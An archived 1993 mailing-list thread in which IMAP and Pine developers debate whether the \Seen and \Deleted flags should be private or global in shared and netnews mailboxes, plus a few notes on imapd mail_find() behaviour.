2.28 ) id AA27292; Sun, 17 Oct 93 15:44:26 -0700 Date: Sun, 17 Oct 1993 15:44:16 -0700 (PDT) From: Terry Gray Reply-To: Terry Gray Subject: Re: More on /SEEN and /DELETED... To: imap@cac.washington.edu Cc: c-client@CAC.Washington.EDU In-Reply-To: <0gkJx6C00WBwQCMkRI@andrew.cmu.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Sun, 17 Oct 1993, John Gardiner Myers wrote: > > -A user views a mailbox EITHER with Global or Private flags, NEVER both. > > In the Cyrus imapd, the \Seen and \Recent flags are always "Private" > and all other flags are always "Global". Given this model is useful > (for example, user wants to track their own reading progress through a > "trouble ticket" mailbox), desired, and corresponds to what we veiw > existing practice, and given the observation that Terry mentions no > specific problems with this model, I think it's a bit premature to > assume it out of existence. My intent was not to preclude other scenarios; only to explain the basis for my own thinking. In a shared mailbox situation, one can make a case for presenting either a "private view" or "global view" of \seen, and even \recent. In fact, one (not me) *could* even argue for showing both, but we don't have the machinery in IMAP to deal with both simultaneously. Given the differences in opinion about which flags should be considered private, and which global, how can we proceed? I suppose the best we can do is adopt a laissez faire "implementation dependent" stance. The downside of that there will be surprises for users. The clients should all *work*, but what the flags actually mean, in terms of scope, will differ from one server to the next. > Terry completely misses the reason I consider the use of \Deleted for > news dangerous. I don't think so; at least John's next paragraph is consistent with what I understood his objection to be... > Given there are both "Type 1" and "Type 3" mailboxes, and given that > there might not be a line in the namespace which says "all these over > here are Type 1 and all those over there are Type 3," the user trained > by c-client's handling of \Deleted in news to type "d" when they are > "no longer interested" in a message will do so when reading the "Type > 1" mailbox. They will then inadvertently physically remove messages > before other users of the shared mailbox can read them. One could as easily argue that C-client's handling of \deleted for *conventional* personal mailboxes is dangerous! And it is!! After all, in a personal mailbox, an individual gets to mark a msg as deleted (or uninteresting), and since they have expunge rights, actually make it go away. Forget about news, what happens when such a *mail* user begins using a shared mailbox? Exactly the same thing that happens when people share files in any system: either they talk, or have a locking protocol, or sooner or later, somebody gets burned. [Small aside to illustrate the point: in 1976 people from 18 Arpanet sites around the US were collaborating on a major report, using MIT-Multics as the file repository. Much gnashing of teeth ensued when one team member unilateraly copied the files to BBN-TENEX for spell checking, then copied them back a few days later --obliterating much intervening work.] I don't believe that allowing \deleted for news makes this problem any worse than it already is, but I do think that there is an opportunity for improving IMAP here: it would be nice if clients could find out if a mailbox was being shared, and/or sharable, so the UI could take pains to warn users that their actions could affect multiple users. > Messages "magically and implicitly disappear" due to the view you > selected? One might as well use the same arguments against kill > files. Not at all. Kill files are the result of *explicit* action by the user. > "The other paradigm" assumes that "Type 1" mailboxes with multiple > readers don't exist. Not at all. Unless John wishes to legislate "normal" unshared personal mailboxes out of existence as well (and of course he doesn't), this argument makes no sense to me. > > Nothing could be further from the truth. This design decision was a > > *direct* result of trying to blur the distinctions between the mail and > > news worlds. > > I'd say you botched it, given all the places IS_NEWS is used in Pine. Reality sometimes lags intent, and Pine is still "work in progress", especially with respect to newsreading. News is the first, but not the last, case of having an inherently ReadOnly message store with private flag state. Some of the current Pine behavior, in particular having N prompt for the next news group, but not the next mail folder, is clearly wrong and will be changed. In many of the other cases where "IS_NEWS" is used, a macro named something like IS_IMMUTABLE would have been better, since NEWS is only one of possibly many classes of immutable mailboxes. > > If you are starting from the mail reader perspective, as Pine must > > necessarily do, there is no change in user behavior. > > The user must shift the meaning of 'D' from "physically delete > this message" to "don't show me this message, for now". Incorrect, both with respect to the "from" and the "to"... A "D" does *not* mean "physically delete this message", no matter what the protocol spec might say. We all know that "D" has absolutely no effect on the message other than to signal *intent* by associating a flag with that message. If we want "D" to *really* mean "delete data", then we should eliminate Expunge from the protocol, and the notion of a \deleted flag becomes nonsensical, as it becomes a flag associated with a message that no longer exists. [NB: Even if we keep the \deleted "statement of intent" separate from the action of expunging, which I certainly support, we still must decide what \deleted means for immutable mailboxes. A *global* \deleted flag for an immutable message store makes no sense to me.] Nor does "D" mean "don't show me this message for now", although that could be a *side effect* of the currently defined view. [NB: An important part of this debate has to do with the relationship between *flags* and *views*... Although views are often defined in terms of flags, the concepts are distinct and we must avoid blurring them.] > You're also > assuming that users always delete their mail when they read it. I'm clueless as to why John said this... it certainly is not true. > Traditionally, users haven't read their mail in "show me only the new > messages" mode because they only ever had one mailbox which had new > messages delivered to it. Treating mail as news is an easy paradigm > shift and "browse mode" is useful for people who like the traditional > mail model. Conversely, I would claim the CMU community has not used "browse" mode for news only because of limitations in the CMU system, namely that it only keeps a single pointer, delimiting old and new. I have no problem with having different "view modes" and being able to apply them uniformly to mail and news. But I have a real problem with overloading the /seen flag to imply "no future interest in this msg". > > Again, the /deleted flag reflects the user's explicit disinterest in a > > message. > > Again, your interpretation of the \Deleted flag does not correspond to > its definition in the IMAP protocol specificiation. The protocol spec reflects a traditional terminology that was *never* precisely accurate, and doesn't translate perfectly to the world of immutable mailboxes and private flag sets that we are now trying to extend IMAP and c-client to cover. Either we forbid \deleted from being used on immutable mailboxes, in which case we need to invent another flag that would be redundant in the RW case, or we try to find an "enhanced" interpretation of the existing flag that can work for both RO and RW mailboxes. > It seems very intuitive for a command "show me the new messages" to > imply that the user is explicitly disinterested in messages with the > \Seen flag set. It is important (to me, anyway) that we keep the concepts of "message attribute" and "current view" distinct, because I see the lifetime of a particular message *attribute* being generally different than the persistence of a current view. Both are changeable at will, but they are not identical. So I have *no* problem with being able to say "just show me new messages right now"... but I object to the idea that this transient "bulk" definition of what's interesting at the moment has anything to do with a per-message *explicit* declaration that a particular message is of no future interest. > > (It also clutters the UI, because now you MUST implemnent an > > "UNSEE" command... now there's a real intuitive concept, right?) > > It's about as intuitive as "UNDELETE". Not *quite* that intuitive. :) But I certainly wouldn't want to defend delete/undelete very vigorously, since the common interpretation of those words is clearly not what happens in fact. Probably too late to pick a better word, though. -teg From pinedev@shivax2.cac.washington.edu Sun Oct 17 16:00:53 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA01008; Sun, 17 Oct 93 16:00:53 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA03634; Sun, 17 Oct 93 16:00:39 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO4.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA03628; Sun, 17 Oct 93 16:00:38 -0700 Received: from localhost (postman@localhost) by po4.andrew.cmu.edu (8.5/8.5) id TAA07892; Sun, 17 Oct 1993 19:00:35 -0400 Received: via switchmail; Sun, 17 Oct 1993 19:00:35 -0400 (EDT) Received: from nifty.andrew.cmu.edu via qmail ID ; Sun, 17 Oct 1993 19:00:12 -0400 (EDT) Received: via niftymail; Sun, 17 Oct 1993 19:00:09 -0400 (EDT) Date: Sun, 17 Oct 1993 19:00:08 -0400 (EDT) From: Chris Newman Subject: Terry's assumptions about mailboxes To: c-client@cac.washington.edu In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-Id: <750898808.27688.0@nifty.andrew.cmu.edu> Terry suggests the following assumptions: >Here are my assumptions: > -A Mailbox = [Msg Data + Global Flags] OR [Msg Data + Private Flags] How about, the mailbox administrator(s) use global flags and the mailbox readers use private flags? A useful scenerio, IMHO. > -Global (per-mailbox) flags may or may not be shared. Agreed. > -Private (per-user) flags, if they exist, are never shared. Agreed. > -A user views a mailbox EITHER with Global or Private flags, NEVER both. A bboard with several administrators that read the bboard probably will want private \SEEN flags for the administrators, while sharing the other flags. > -A user with RW/EXPUNGE rights will use Global flags, never Private flags. What about a user with RW but not EXPUNGE rights? How about a user with EXPUNGE but not APPEND rights? What about the several administrators that read the bboard separately (e.g. a club bboard with several officers who have RW/EXPUNGE rights)? > -Global and Private flag sets may include any defined IMAP flag, however... > -Implementation constraints may limit which flags can actually be stored. Agreed. - Chris From pinedev@shivax2.cac.washington.edu Sun Oct 17 17:00:20 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA01661; Sun, 17 Oct 93 17:00:20 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA03946; Sun, 17 Oct 93 17:00:09 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva2.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA03931; Sun, 17 Oct 93 16:59:45 -0700 Received: by shiva2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA28249; Sun, 17 Oct 93 16:59:42 -0700 Date: Sun, 17 Oct 1993 16:05:13 -0700 (PDT) From: Terry Gray Reply-To: Terry Gray Subject: Re: More on /SEEN and /DELETED... To: Chris Newman Cc: imap@cac.washington.edu, c-client@cac.washington.edu In-Reply-To: <750897359.27688.0@nifty.andrew.cmu.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Chris, I believe that both of your scenarios represent misunderstandings of the model I advocate, and also illustrate the danger of blurring the distinction between "message attributes" and "current view". Let me try to explain why... On Sun, 17 Oct 1993, Chris Newman wrote: > Here are a couple scenerios which show why Terry's different interpretation of > /DELETED for netnews and mail is dangerous: > > The secretary for the athletic department office is administering a > publicly readable athletic bboard which is fully read-write to > athletic department administrators. A message with a major error is > posted to the bboard and he wishes to remove it. He goes to the > bboard, deletes the message, and expunges the bboard. The message > disappears from his view. Then he continues to get complaints about > this message and is confused. He had, after all, removed it the same > way he would remove it from his mailbox. In my model, the \deleted flag is only private if the user does *not* have expunge rights. So in this case, both the flag and the subsequent expunge would have had global scope and there would be no problem. The message really would be gone. > Now suppose Jane User is reading a mailbox for her project group. > She's gotten used to hitting "d" to remove messages from her view. So > when she's read a message, she hits "d" to remove it from her view. > Her client, as usual, expunges the messages when she leaves the > folder. But now, none of the other people in her group can see that > message because its gone. She did the same thing she does in news, > and it doesn't remove the message there. She is confused and her > project is set back a few days. The mistake in this scenario is postulating that the user's motivation for hitting "d" is to simply remove messages from the current view. (Pine users certainly don't have this idea, since hitting "d" does not remove a message from the current view. Expunge does.) As you know by now, it has never occurred to me that D would or could be construed as purely for transient view control. Especially since, like you, I consider it perfectly reasonable to postulate a *current* view that suppresses /seen for either news or mail, without having to type "d". So the objection to "D" being applied to news is based on fear that the user would not realize that "D" really associates a persistent attribute with the message, rather than simply hiding the message, (assuming that "D"s are hidden in some views). I claim that to the extent this might be true, the problem already exists with personal mailboxes, and is not significantly exacerbated by applying "D" to news as well as mail. I think we can agree that we must in all cases avoid leading users "down the garden path" of believing that flags do nothing but control views. That's why I think it so important to clearly delineate message state from views. > These two examples show why "/DELETED" must either mean "flag for > removal" or "hide". It must not have different meanings in different > mailboxes/bboards. However, Terry has argued eloquently that a "hide" > concept is useful and I _personally_ wouldn't object to adding an > extra optional flag for it. I do object strongly to equating the "hide" > concept with "/DELETED" as I believe it would confuse and endanger > users. For the reasons I cite above, I too object to equating "deleted" with "hide", but I do not see any conflict in equating "deleted" with "of no future interest". Neither "Deleted" nor "of no future interest" should imply "hidden", lest we find ourselves in yet another terminology perversion, wherein we allow definition of a view to temporarily display that which is hidden! Suppose you accept my thesis that it is useful to have a flag to let the user explicitly denote a message as having no future interest, and that this message state is orthogonal to the current view definition. Now suppose that for whatever reason, we don't want to use "deleted" to mean "no future interest", so we need a new flag. My objections would be that in a Read/Write/Expungable mailbox, the new flag is superfluous, and that any new flag requires extra machinery to display and manipulate. Here's what we would have: MAILBOX TYPE: RWE RO \marked-for-deletion OK Contradiction \uninteresting Redundant OK Given that the "danger of deleted" concern seems to be partly a result of an incorrect assumption about the connection between flags and views, and partly an intrinsic and long-standing problem that occurs whenever a private mailbox user moves into a shared mailbox arena, does it really make sense to have a different, but oh-so-similar flag? -teg p.s. I don't mean to imply that I'm not concerned about inadvertent deletion of messages in shared mailboxes; I am, but I see that as a preexisting problem that is neither solved nor worsened by either of our positions. From pinedev@shivax2.cac.washington.edu Sun Oct 17 18:35:31 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA02954; Sun, 17 Oct 93 18:35:31 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18379; Sun, 17 Oct 93 18:35:16 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18373; Sun, 17 Oct 93 18:35:14 -0700 Received: by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA02339; Sun, 17 Oct 93 18:35:05 -0700 Date: Sun, 17 Oct 1993 18:20:42 -0700 (PDT) From: Mark Crispin Reply-To: Mark Crispin Subject: re: Some problems with the imapd-3.0 (Pine 3.87) release To: Steve Hole Cc: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Fri, 15 Oct 1993, Steve Hole wrote: > This is true. It kind of worries me that somebody can select a file as a > folder > when it really isn't one, but I guess we can live with that. Do you understand that the dichotomy between ``file'' and ``folder'' is intended to vanish? A ``file'' now looks like a folder with one ``message'' in it. Can you suggest why you wouldn't want ECS Mail users to have this capability? [One obvious way of having distributed address books is to have a well-known folder name for the address book...] > Ok. I think that some of the more clever users will find out that they can > cause problems by writing to files that are not folders. At the present time, files-as-folders can't be written to. But, that is supposed to change in the future (obviously, it has to if that's how address books are accessed!). > Hmm ... new drivers. We have some ideas for a new driver as well that I > would like to discuss with you. I will send an outline of my thoughts in > a separate message. By all means, please do! The current drivers more or less do nothing other than deal with extant UNIX-based mailstore technology. They have little or nothing to do with what I would consider a ``good'' mailstore technology! It's for this reason that the new linkage mechanism was invented. > The key requirement for us is that a mail_find() return a nil list if there > is no subscription database. This change has *just* appeared in the sources; essentially, elimination of the two else clauses in dummy_find() and dummy_find_bboards(). It is not in the imapd distributed with Pine 3.87, although Pine 3.87 can be used with an imapd with this change. Only my two machines have this change installed right now. I suggest, as a *temporary* workaround, that you treat results from mail_find() that begin with "." and ".." as being equivalent to ``no subscription database presently exists.'' This will allow you to interact with the currently released set of servers without requiring you to supply a modified version. I'm sorry you have to deal with this wart, but hopefully it'll be easy to excise one we're all sure that Pine 3.8[456] are extinct and Pine 3.87 (or greater) rules... ;-) > We will > have to distribute a modified version of imapd I guess in order to support > it. If that will not adversely affect Pine, then I don't mind doing that > until version 3.1 is snapped off. Will my suggested workaround enable you to avoid this? -- Mark -- From pinedev@shivax2.cac.washington.edu Sun Oct 17 21:10:28 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA04762; Sun, 17 Oct 93 21:10:28 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA05690; Sun, 17 Oct 93 21:10:17 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva2.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA05684; Sun, 17 Oct 93 21:10:16 -0700 Received: by shiva2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA01205; Sun, 17 Oct 93 21:10:14 -0700 Date: Sun, 17 Oct 1993 20:38:46 -0700 (PDT) From: Terry Gray Reply-To: Terry Gray Subject: Re: Terry's assumptions about mailboxes To: Chris Newman Cc: c-client@cac.washington.edu In-Reply-To: <750898808.27688.0@nifty.andrew.cmu.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Well, looks like I'm 3 for 6 in your book... (our Seahawks should do as well! :) I've deleted the 3 assumptions we agree on, and now offer a few comments on the other 3... On Sun, 17 Oct 1993, Chris Newman wrote: > Terry suggests the following assumptions: > > >Here are my assumptions: > > -A Mailbox = [Msg Data + Global Flags] OR [Msg Data + Private Flags] > > How about, the mailbox administrator(s) use global flags and the > mailbox readers use private flags? A useful scenerio, IMHO. I'm guessing that you are proposing this as an *addition* to the above, rather than as a replacement. If so, it's not needed, because I meant to imply that my two alternatives apply to a particular session, and are not mutually exclusive across all users, or even across sequential roles of one user. More difficult for me to accept is the case of "Mailbox = [Msg Data + Some Global Flags + Some Private Flags]" because I don't know how to manage this level of state complexity in a consistent way and surprise-free way, unless each flag is defined as *either* private *or* global, (which I really *wish* I could convince myself was reasonable, since it simplifies the problem.) > > -A user views a mailbox EITHER with Global or Private flags, NEVER both. > > A bboard with several administrators that read the bboard probably > will want private \SEEN flags for the administrators, while sharing > the other flags. I agree that private \seen flags can be useful (though I hold that global \seen can also be useful). I'm struggling with how we would keep track of the fully general case. A message is marked answered; did I answer it, or did someone else on the team? Likewise SEEN, FLAGGED, etc... How does the user know, for any given flag in any given mailbox, what its scope is? Also, how does the client know when to look for a client-maintained file of private flags, e.g. .newsrc, or its mailbox equivalent for, say, a remote message archive? > > -A user with RW/EXPUNGE rights will use Global flags, never Private flags. > > What about a user with RW but not EXPUNGE rights? How about a user > with EXPUNGE but not APPEND rights? What about the several > administrators that read the bboard separately (e.g. a club bboard > with several officers who have RW/EXPUNGE rights)? My assumptions do not preclude multiple users with expunge rights. (But if multiple people do have expunge rights, they better also have a common vision of who expunges and when!) I agree that one could meaningfully have the ability to store, say, a Flagged flag without having expunge rights. But that leads either to (a) asserting that some flags are inherently global, the others inherently private --which I still can't convince myself is true, or (b) the dilemma of having arbitrary mixtures of private and global flags --which I don't know how to manage, especially when in some cases the private flags will be maintained by the server, and in other cases by the client. As a simplifying assumption, I was hoping we could key on expunge rights to determine whether to look for (and use) private flags. If that won't work, we need to tighten-up our thinking caps one more notch... -teg From pinedev@shivax2.cac.washington.edu Sun Oct 17 21:38:45 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA05167; Sun, 17 Oct 93 21:38:45 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA05831; Sun, 17 Oct 93 21:38:37 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA05825; Sun, 17 Oct 93 21:38:31 -0700 Received: by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA22043; Sun, 17 Oct 93 21:38:30 PDT Date: Sun, 17 Oct 93 21:38:30 PDT From: mtm@CAMIS.Stanford.EDU (Mike Macgirvin) Message-Id: <9310180438.AA22043@CAMIS.Stanford.EDU> To: gray@cac.washington.edu, steve@edm.isac.ca Subject: re: Some problems with the imapd-3.0 (Pine 3.87) release Cc: MRC@CAC.Washington.EDU, c-client@CAC.Washington.EDU, pine@cac.washington.edu Re: FIND, etc. and .mailboxlist behaviour -- Please keep the rest of us informed what direction things go. Thanks. mike From pinedev@shivax2.cac.washington.edu Sun Oct 17 23:22:42 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA06370; Sun, 17 Oct 93 23:22:42 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA19443; Sun, 17 Oct 93 23:22:32 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA19437; Sun, 17 Oct 93 23:22:26 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA02651; Sun, 17 Oct 93 23:22:14 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA20896; Sun, 17 Oct 93 23:22:05 -0700 Date: Sun, 17 Oct 1993 23:11:42 -0700 (PDT) From: Mark Crispin Subject: re: Some problems with the imapd-3.0 (Pine 3.87) release To: Mike Macgirvin Cc: gray@cac.washington.edu, steve@edm.isac.ca, c-client@CAC.Washington.EDU, pine@cac.washington.edu In-Reply-To: <9310180438.AA22043@CAMIS.Stanford.EDU> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Mike - In brief (modulo things like mh folders, non-netnews bboards, etc.): . mail_find() contents of .mailboxlist non-bboard entires . mail_find_bboards() contents of .newsrc + .mailboxlist bboard entries . mail_find_all() contents of directory . mail_find_all_bboards() contents of netnews ACTIVE file I have just removed the compatibility code for Pine 3.8[456] that made mail_find() call mail_find_all() if there was no .mailboxlist file. The imapd that is distributed with Pine 3.87 has this compatibility code, but Pine 3.87 does not need it. -- Mark -- From pinedev@shivax2.cac.washington.edu Mon Oct 18 07:41:30 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA15386; Mon, 18 Oct 93 07:41:30 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA21323; Mon, 18 Oct 93 07:41:16 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO3.ANDREW.CMU.EDU by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA21317; Mon, 18 Oct 93 07:41:14 -0700 Received: from localhost (postman@localhost) by po3.andrew.cmu.edu (8.5/8.5) id KAA09667; Mon, 18 Oct 1993 10:41:09 -0400 Received: via switchmail; Mon, 18 Oct 1993 10:41:09 -0400 (EDT) Received: from cortland.andrew.cmu.edu via qmail ID ; Mon, 18 Oct 1993 10:40:30 -0400 (EDT) Received: from cortland.andrew.cmu.edu via qmail ID ; Mon, 18 Oct 1993 10:40:21 -0400 (EDT) Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.cortland.andrew.cmu.edu.pmax.ul4 via MS.5.6.cortland.andrew.cmu.edu.pmax_ul4; Mon, 18 Oct 1993 10:39:58 -0400 (EDT) Message-Id: <4gkeeyO00WAqQ0tyZW@andrew.cmu.edu> Date: Mon, 18 Oct 1993 10:39:58 -0400 (EDT) From: Wallace Colyer To: imap@cac.washington.edu Subject: Re: More on /SEEN and /DELETED... Cc: imap@cac.washington.edu, c-client@cac.washington.edu In-Reply-To: References: First, I should say, if the seen flag in the .newsrc means seen, I think the IMAPD should honor the meaning, but since that doesn't seem like it is going to fly.... I see three different actions here: SEEN DELETED and a third which I will call BURPLYBLOOP I disagree is Terry with respect to the meaning of DELETED. To me, DELETED means marked for deletion, and when I say deletion I mean physical removal from the mail store. I think it is VERY important for this to have a consistant meaning. Why, because otherwise people are required to know what the state of the mailstore is when they use this flag. When I mark a message for deletion, I expect the EXPUNGE operation to physically remove the message so that no one else can see it. To have any other action on the DELETED flag, to me, is inherently dangerous. In netnews, if I am allowed to delete the message I expect the server to send out a cancel and remove it from the local store (I like who ever said this earlier). DELETED could be a personal flag and when I do an EXPUNGE operation it may only delete the things I have marked for deletion, but the CMU Cyrus IMAPD will certainly implement it as global. The SEEN flag is marked when I have seen the message. My message viewer may choose to not show me the message after I have seen it. A good message view will allow that option as one view, but allow me other views to see the other messages in the folder. The BURPLYBLOOP flag says, "Don't show me the message". Here I am not deleting the message. I am not marking it as seen, because I may or may not have seen it. I am saying, when BURPLYBLOOP is set, don't show me the message. This gives the clients all the options in the world to handle this as desired and causes no negative behavior. They can choose to show me BURPLYBLOOP marked messages, SEEN messages, and DELETED messages, or any combination of those and other state. I further support the prevailing view that the current method of using DELETED is very very very dangerous. From pinedev@shivax2.cac.washington.edu Mon Oct 18 07:47:34 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA15539; Mon, 18 Oct 93 07:47:34 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA21354; Mon, 18 Oct 93 07:47:25 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO3.ANDREW.CMU.EDU by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA21348; Mon, 18 Oct 93 07:47:24 -0700 Received: from localhost (postman@localhost) by po3.andrew.cmu.edu (8.5/8.5) id KAA10118; Mon, 18 Oct 1993 10:47:21 -0400 Received: via switchmail; Mon, 18 Oct 1993 10:47:20 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Mon, 18 Oct 1993 10:45:40 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Mon, 18 Oct 1993 10:45:38 -0400 (EDT) Received: from BatMail.robin.v2.13.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4m.412 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Mon, 18 Oct 1993 10:45:34 -0400 (EDT) Message-Id: Date: Mon, 18 Oct 1993 10:45:34 -0400 (EDT) From: John Gardiner Myers To: c-client@CAC.Washington.EDU Subject: Re: More on /SEEN and /DELETED... In-Reply-To: References: Beak: Is Terry Gray writes: > One could as easily argue that C-client's handling of \deleted for > *conventional* personal mailboxes is dangerous! And it is!! After all, > in a personal mailbox, an individual gets to mark a msg as deleted (or > uninteresting), and since they have expunge rights, actually make it go > away. You've got to be kidding. When a user marks a message in a personal mailbox as deleted, they really want the message to go away. As long as this model is kept consistent, they will only mark messages in shared mailboxes when they really want the message to be permanently removed. There is also the minor fact that personal mailboxes are generally in their own part of the namespace. CMU has had this model (delete means really delete, UI doesn't go through pains to identify folders as "shared") for years and has had no problems that I am aware of. The redefinition of "\Deleted" as "uninteresting" is part of the c-client news philosophy and is part of what we find so dangerous. "Uninteresting" is an attribute of the user's view, not of the message. > > Messages "magically and implicitly disappear" due to the view you > > selected? One might as well use the same arguments against kill > > files. > > Not at all. Kill files are the result of *explicit* action by the user. Selecting an "unseen only" view and reading messages are explicit actions by the user. > > "The other paradigm" assumes that "Type 1" mailboxes with multiple > > readers don't exist. > > Not at all. Unless John wishes to legislate "normal" unshared personal > mailboxes out of existence as well (and of course he doesn't), this > argument makes no sense to me. Then how, using your paridgm, do you mark a shared "Type 1" mailbox as being uninteresting to you, but without actually removing the message. > In many of the other cases where "IS_NEWS" is > used, a macro named something like IS_IMMUTABLE would have been better, > since NEWS is only one of possibly many classes of immutable mailboxes. There is already a separate READONLY_FOLDER macro, which didn't get used. Put another way the uses: * Whether or not un-\Seen messages are marked as "NEW" in the bar status * Whether or not TAB will stop on un-\Seen messages * On TAB command, whether to say "No more undeleted messages" or "No more new messages" Were made necessary because c-client changed the mapping of .newsrc from \Seen to \Deleted. Every other client is going to have to have this knowledge of this difference between "mail" and "news", or they're not going to interoperate with the c-client imapd. > > The user must shift the meaning of 'D' from "physically delete > > this message" to "don't show me this message, for now". > > Incorrect, both with respect to the "from" and the "to"... > > A "D" does *not* mean "physically delete this message", no matter what > the protocol spec might say. We all know that "D" has absolutely no > effect on the message other than to signal *intent* by associating a flag > with that message. You're picking nits. To reword, ``The user must shift the meaning of 'D' from "intend to physically delete this message on later expunge" to "don't show me this message for now."'' > [NB: Even if we keep the \deleted "statement of intent" separate from the > action of expunging, which I certainly support, we still must decide what > \deleted means for immutable mailboxes. A *global* \deleted flag for an > immutable message store makes no sense to me.] For immutable mailboxes, \Deleted means "intend to physically delete this message on later expunge." The fact that the mailbox is immutable doesn't matter. What does COPY mean when the destination is an immutable mailbox? > Nor does "D" mean "don't show me this message for now", although that > could be a *side effect* of the currently defined view. You're using this "side effect" as a fundamental reason for changing the definition of \Deleted. > Conversely, I would claim the CMU community has not used "browse" mode for > news only because of limitations in the CMU system, namely that it only > keeps a single pointer, delimiting old and new. The CMU system still allows users to go back and view messages which had previously been marked as old. > But I have a real problem with overloading the /seen flag > to imply "no future interest in this msg". It doesn't imply that, it implies "not interested in this message when looking for new messages." > > Again, your interpretation of the \Deleted flag does not correspond to > > its definition in the IMAP protocol specificiation. > > The protocol spec reflects a traditional terminology that was *never* > precisely accurate, and doesn't translate perfectly to the world of > immutable mailboxes and private flag sets that we are now trying to extend > IMAP and c-client to cover. Either we forbid \deleted from being used on > immutable mailboxes, in which case we need to invent another flag that > would be redundant in the RW case, or we try to find an "enhanced" > interpretation of the existing flag that can work for both RO and RW > mailboxes. You certainly haven't reached a consensus for "enhancing" the interpretation of the existing \Deleted flag. Last I checked, it was 1 for, 3 against. This "enhancement" of the meaning is actualy an incompatible change which we consider extremely dangerous. > So I have *no* problem with being able to say "just show > me new messages right now"... but I object to the idea that this transient > "bulk" definition of what's interesting at the moment has anything to do > with a per-message *explicit* declaration that a particular message is of > no future interest. I don't understand. How is this any different when applied to \Deleted? > A message is marked answered; did I answer it, or > did someone else on the team? Likewise SEEN, FLAGGED, etc... How does the > user know, for any given flag in any given mailbox, what its scope is? I consider this one of the key problems with Chris' suggestion that flags be private or global depending on the user's access. I believe that for a given flag in a given mailbox, it should be private for everybody or global to everybody. -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Mon Oct 18 09:03:21 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA17721; Mon, 18 Oct 93 09:03:21 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA11351; Mon, 18 Oct 93 09:03:03 -0700 Errors-To: 